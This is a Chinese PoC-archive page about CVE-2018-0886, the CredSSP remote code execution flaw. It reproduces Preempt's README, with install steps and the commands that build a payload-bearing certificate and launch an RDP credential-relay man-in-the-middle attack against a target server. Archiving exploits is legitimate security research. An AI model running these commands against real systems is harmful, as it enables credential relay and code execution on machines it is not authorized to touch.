支持本站 — 捐款将帮助我们持续运营

目标: 1000 元，已筹: 1000 元

100.0%
立即捐款

POC详情: 59b3fc97212a8b5e3449e2599bd46b1d902c67ee

来源
https://github.com/preempt/credssp
关联漏洞
标题:Microsoft Credential Security Support Provider protocol 安全漏洞 (CVE-2018-0886)
Description:Microsoft Windows 10等都是美国微软（Microsoft）公司发布的一系列操作系统。Credential Security Support Provider protocol（CredSSP）是其中的一个凭据安全支持提供协议。 Microsoft CredSSP中存在远程代码执行漏洞。远程攻击者可利用该漏洞在目标系统上中继用户凭据并执行代码。以下系统版本受到影响：Microsoft Windows 10，Windows 10版本1511，Windows 10版本1607，Windows
Description
A code demonstrating CVE-2018-0886
介绍
# credssp

This is a poc code for exploiting CVE-2018-0886. It should be used for educational purposes only.
It relies on a fork of the rdpy project(https://github.com/preempt/rdpy), allowing also credssp relay. 


Written by Eyal Karni, Preempt 
ekarni@preempt.com 

# Build

## Instructions (Linux)
If you are using Ubuntu 14 , check the install file.. 
It was tested on Ubuntu 16.04. 

```
$ git clone https://github.com/preempt/rdpy.git rdpy
$ git clone https://github.com/preempt/credssp.git 
$ cd credssp/install
$ sh install.sh
$ cd ../../rdpy
$ sudo python setup.py install
```
* It assumes a pretty clean inital state. Best to uninstall first relevant components such as cryptography, pyopenssl maybe (pip uninstall cryptography).  
* A different version of openssl needed to be installed for this to run successfully.  The install script does that. 
* Please follow the instructions in the described order. 

# Running the exploit 


Export a certificate suitable for Server Authentication from any domain.
(It is used for RDP https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn781533(v=ws.11)) 

To generate a certificate that exploits the vulnerability(contains the payload),use: 

```
$ python credssp/bin/gen_cmd.py -c ExportedCert -o exploitc.pem -k exploitk.pem CMD 
```
 (ExportedCert is the  exported certificate from step 1. 
 exploitc.pem ,exploitk.pem are the generated certificate and private key respectively)

To run the attack script: 

```
$ python /usr/local/bin/rdpy-rdpcredsspmitm.py -k exploitk.pem -c exploitc.pem TargetServer
```

More details are in the usage section of the scripts(--help).
文件快照

 [4.0K]  /data/pocs/59b3fc97212a8b5e3449e2599bd46b1d902c67ee
├── [4.0K]  bin
│   ├── [ 13K]  gen_cmd.py
│   └── [1.7K]  math_helper.py
├── [4.0K]  install
│   ├── [2.1K]  install.sh
│   └── [1.1K]  openssl_diff_file.diff
├── [1.0K]  LICENSE
└── [1.6K]  README.md

2 directories, 6 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。